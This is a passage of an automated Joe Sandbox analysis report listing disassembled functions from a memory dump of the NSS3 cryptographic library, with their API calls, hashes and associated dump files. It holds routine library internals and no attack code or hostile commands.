Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID:
API String ID: 704537481-0
Opcode ID: a1afbbb63f1d31df7e8e58d70c03bf572653d32efe9a3838d1be40aa1c174640
Instruction ID: cf689448ad80ca0e8cc93b836b4ea3438ba0c7e16b40dad5ba34f925c5881d92
Opcode Fuzzy Hash: a1afbbb63f1d31df7e8e58d70c03bf572653d32efe9a3838d1be40aa1c174640
Instruction Fuzzy Hash: 54210171B04285ABEF00AE29EC44A9A3779EF45368F180164FD08E7B11EB30E954C7E2

Function 6CB81DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CB81E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CB81E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB81E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CB81E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CB81EAD

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: bf893df5f51b021c3863b645551d0e5c84a165451502f3452c144632d7e0f961
Instruction ID: 2babe8b480cde44b9d3512d6c5dbb6bff0bce833b8840d037bb4c90c7e89f61e
Opcode Fuzzy Hash: bf893df5f51b021c3863b645551d0e5c84a165451502f3452c144632d7e0f961
Instruction Fuzzy Hash: EE213A72E06750A7D7008F68DC40B8F7394DB8836AF194638ED6957781E730D908C7E2

Function 6CC91E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CC91E5C

Part of subcall function 6CC49BF0: TlsGetValue.KERNEL32(?,?,?,6CC90A75), ref: 6CC49C07

PR_Lock.NSS3(00000000), ref: 6CC91E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CC91EAB
PR_GetCurrentThread.NSS3 ref: 6CC91ED0
PR_Unlock.NSS3(?), ref: 6CC91EE8

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 2bb19c2746fc75f5960ceb960b502d735579af84a6030e0405d9c3b776aba7e2
Instruction ID: 55e66103eca8c9dbcc9afab0310feaae4def65aa7654381325dca1e7b000e7d5
Opcode Fuzzy Hash: 2bb19c2746fc75f5960ceb960b502d735579af84a6030e0405d9c3b776aba7e2
Instruction Fuzzy Hash: 9721CC74A04622ABD710CF2ED945A16B7B8FF45718B258269E8198BB40F730F820CBD1

Function 6CBDBE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CB8E708,00000000,00000000,00000004,00000000), ref: 6CBDBE6A

Part of subcall function 6CBE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CB904DC,?), ref: 6CBDBE7E

Part of subcall function 6CBDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBD8D2D,?,00000000,?), ref: 6CBDFB85
Part of subcall function 6CBDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBDFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CBDBEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CB904DC,?,?), ref: 6CBDBED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CBDBEEB

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: bc7c70e5e0552b8a60f9e00ffcfa4b391f1894290988610fd92d3cc5eb74a68a
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: BF11EF66A043C667EF0089A6AC80F6B736DDB81B58F064135FE0487A52EB31F80486E3

Function 6CB8AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CB83FFF,00000000,?,?,?,?,?,6CB81A1C,00000000,00000000), ref: 6CB8ADA7

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CB83FFF,00000000,?,?,?,?,?,6CB81A1C,00000000,00000000), ref: 6CB8ADB4

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CB83FFF,?,?,?,?,6CB83FFF,00000000,?,?,?,?,?,6CB81A1C,00000000), ref: 6CB8ADD5

Part of subcall function 6CBDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBD8D2D,?,00000000,?), ref: 6CBDFB85
Part of subcall function 6CBDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBDFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CCA94B0,?,?,?,?,?,?,?,?,6CB83FFF,00000000,?), ref: 6CB8ADEC

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB83FFF), ref: 6CB8AE3C

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: a26ee068b9c7601342940c74f8e896a3bd918c502ebac54d3ea26debac8cff84
Instruction ID: a33a60b5c8bb04af8c832d73bd014b77d45862570df35e2022da152ec0e2a56c
Opcode Fuzzy Hash: a26ee068b9c7601342940c74f8e896a3bd918c502ebac54d3ea26debac8cff84
Instruction Fuzzy Hash: 42115672E003445BF7009B649C01BBF73F8DF9564EF148629EC1996781FB20E94886E3

Function 6CBA8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CBC2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB94F1C), ref: 6CBA8EA2

Part of subcall function 6CBCF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CBCF854
Part of subcall function 6CBCF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CBCF868
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CBCF882
Part of subcall function 6CBCF820: free.MOZGLUE(04C483FF,?,?), ref: 6CBCF889
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CBCF8A4
Part of subcall function 6CBCF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CBCF8AB
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CBCF8C9
Part of subcall function 6CBCF820: free.MOZGLUE(280F10EC,?,?), ref: 6CBCF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CBC2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB94F1C), ref: 6CBA8EC3
TlsGetValue.KERNEL32(?,?,?,6CBC2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB94F1C), ref: 6CBA8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CBC2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CBA8EF1
PR_Unlock.NSS3 ref: 6CBA8F20

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: a7a39792c7f26747bf9604d0ee3fd7291f43c1e6bfa810678d015551caeb58a7
Instruction ID: f2ee995c83554d915ac765883c72538c1c70acf2a3bc6b6b48008428053fb0cd
Opcode Fuzzy Hash: a7a39792c7f26747bf9604d0ee3fd7291f43c1e6bfa810678d015551caeb58a7
Instruction Fuzzy Hash: 3D217E709096859FDB00AF69D08419DBBF4FF48314F41456EEC989BB41D731E855CBD2

Function 6CBA28A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB980DD), ref: 6CBA28BA
EnterCriticalSection.KERNEL32(?,?,?,?,6CB980DD), ref: 6CBA28D3
PR_Unlock.NSS3(?,?,?,?,?,6CB980DD), ref: 6CBA28E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6CB980DD), ref: 6CBA290E
free.MOZGLUE(?,?,?,?,?,?,6CB980DD), ref: 6CBA291A

Part of subcall function 6CB99270: DeleteCriticalSection.KERNEL32(?,?,6CBA5089,?,6CBA3B70,?,?,?,?,?,6CBA5089,6CB9F39B,00000000), ref: 6CB9927F
Part of subcall function 6CB99270: free.MOZGLUE(?,?,6CBA3B70,?,?,?,?,?,6CBA5089,6CB9F39B,00000000), ref: 6CB99286
Part of subcall function 6CB99270: PL_HashTableDestroy.NSS3(?,6CBA3B70,?,?,?,?,?,6CBA5089,6CB9F39B,00000000), ref: 6CB99292

Part of subcall function 6CB98B50: TlsGetValue.KERNEL32(00000000,?,6CBA0948,00000000), ref: 6CB98B6B
Part of subcall function 6CB98B50: EnterCriticalSection.KERNEL32(?,?,?,6CBA0948,00000000), ref: 6CB98B80
Part of subcall function 6CB98B50: PL_FinishArenaPool.NSS3(?,?,?,?,6CBA0948,00000000), ref: 6CB98B8F
Part of subcall function 6CB98B50: PR_Unlock.NSS3(?,?,?,?,6CBA0948,00000000), ref: 6CB98BA1
Part of subcall function 6CB98B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6CBA0948,00000000), ref: 6CB98BAC
Part of subcall function 6CB98B50: free.MOZGLUE(?,?,?,?,?,6CBA0948,00000000), ref: 6CB98BB8

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 2ac662171ed5d95efa28465db737a79b00d984863e91bc665be122efa7b51254
Instruction ID: 84c652a9c93218ae3fe2875d559897bace93244949e025803f03319e4b9723a3
Opcode Fuzzy Hash: 2ac662171ed5d95efa28465db737a79b00d984863e91bc665be122efa7b51254
Instruction Fuzzy Hash: 1B210CB5A08B459FDB00AF78C088469BBF4FF05354F014969DCD897700EB34E899CB92

Function 6CB98FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CBA0710), ref: 6CB98FF1
PR_CallOnce.NSS3(6CCE2158,6CB99150,00000000,?,?,?,6CB99138,?,6CBA0710), ref: 6CB99029
calloc.MOZGLUE(00000001,00000000,?,?,6CBA0710), ref: 6CB9904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CBA0710), ref: 6CB99066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CBA0710), ref: 6CB99078

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 5f0f0c28d99b6386aace3934c5d82c245f85ff37763649baa140dbf5001bf27b
Instruction ID: c04f507fe7255b8cce102e90ebd6f0fe24de66cacf7309c7cf5bb8c1bc0787d2
Opcode Fuzzy Hash: 5f0f0c28d99b6386aace3934c5d82c245f85ff37763649baa140dbf5001bf27b
Instruction Fuzzy Hash: C911E521B001A15BEBA016A9AC44A6A77ACEB837ACF500531FC6CC6A41F753CD4593E2

Function 6CBACD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CBC1E10: TlsGetValue.KERNEL32 ref: 6CBC1E36
Part of subcall function 6CBC1E10: EnterCriticalSection.KERNEL32(?,?,?,6CB9B1EE,2404110F,?,?), ref: 6CBC1E4B
Part of subcall function 6CBC1E10: PR_Unlock.NSS3 ref: 6CBC1E76

free.MOZGLUE(?,6CBAD079,00000000,00000001), ref: 6CBACDA5
PK11_FreeSymKey.NSS3(?,6CBAD079,00000000,00000001), ref: 6CBACDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CBAD079,00000000,00000001), ref: 6CBACDCF
DeleteCriticalSection.KERNEL32(?,6CBAD079,00000000,00000001), ref: 6CBACDE2
free.MOZGLUE(?), ref: 6CBACDE9

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 9da9182978d74f0c707ebc8885f5419df023a293946cf7ca05f7d8634c3ef5dc
Instruction ID: f7f7fd4240354491538c871e2d378ba6fad74ded844a0170ab121073748c8893
Opcode Fuzzy Hash: 9da9182978d74f0c707ebc8885f5419df023a293946cf7ca05f7d8634c3ef5dc
Instruction Fuzzy Hash: 051102B2B01161BBDB00AFA4EC8499AB73CFF042597140121E94883E01E732F475C7E2

Function 6CC12CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC15B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC12CEC

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PR_EnterMonitor.NSS3(?), ref: 6CC12D02
PR_EnterMonitor.NSS3(?), ref: 6CC12D1F
PR_ExitMonitor.NSS3(?), ref: 6CC12D42
PR_ExitMonitor.NSS3(?), ref: 6CC12D5B

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 167e8516b06f54cd0990543a7cbec3244d597d3b147c3bba2aac09adc785d83c
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: F601C4B9A142005BE730AF27FC40BC7B7A5EF46318F008565E85A86F20F632F916D792

Function 6CC12D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC15B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC12D9C

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PR_EnterMonitor.NSS3(?), ref: 6CC12DB2
PR_EnterMonitor.NSS3(?), ref: 6CC12DCF
PR_ExitMonitor.NSS3(?), ref: 6CC12DF2
PR_ExitMonitor.NSS3(?), ref: 6CC12E0B

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 2cdd61584ca369724ded153f22bd674494eb8da17237f35560ff0e1a6e5e56a4
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 4B01A1B9A142045BEB309F26FC01BC7B7A5EF46318F008475E85A86F11F632E925D693

Function 6CBAAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CB93090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CBAAE42), ref: 6CB930AA
Part of subcall function 6CB93090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB930C7
Part of subcall function 6CB93090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CB930E5
Part of subcall function 6CB93090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB93116
Part of subcall function 6CB93090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB9312B
Part of subcall function 6CB93090: PK11_DestroyObject.NSS3(?,?), ref: 6CB93154
Part of subcall function 6CB93090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB9317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CB899FF,?,?,?,?,?,?,?,?,?,6CB82D6B,?), ref: 6CBAAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CB899FF,?,?,?,?,?,?,?,?,?,6CB82D6B,?), ref: 6CBAAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CB82D6B,?,?,00000000), ref: 6CBAAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CB82D6B,?,?,00000000), ref: 6CBAAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CB82D6B,?,?), ref: 6CBAAEA3

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 5e5e9397cbb34fa83de87e41b403a2cae10f18602487ec239538d5a6fddd0beb
Instruction ID: 9116024d7e478494668ee23d0494dada9f1a52adcd621bd2dc983dafb6f16302
Opcode Fuzzy Hash: 5e5e9397cbb34fa83de87e41b403a2cae10f18602487ec239538d5a6fddd0beb
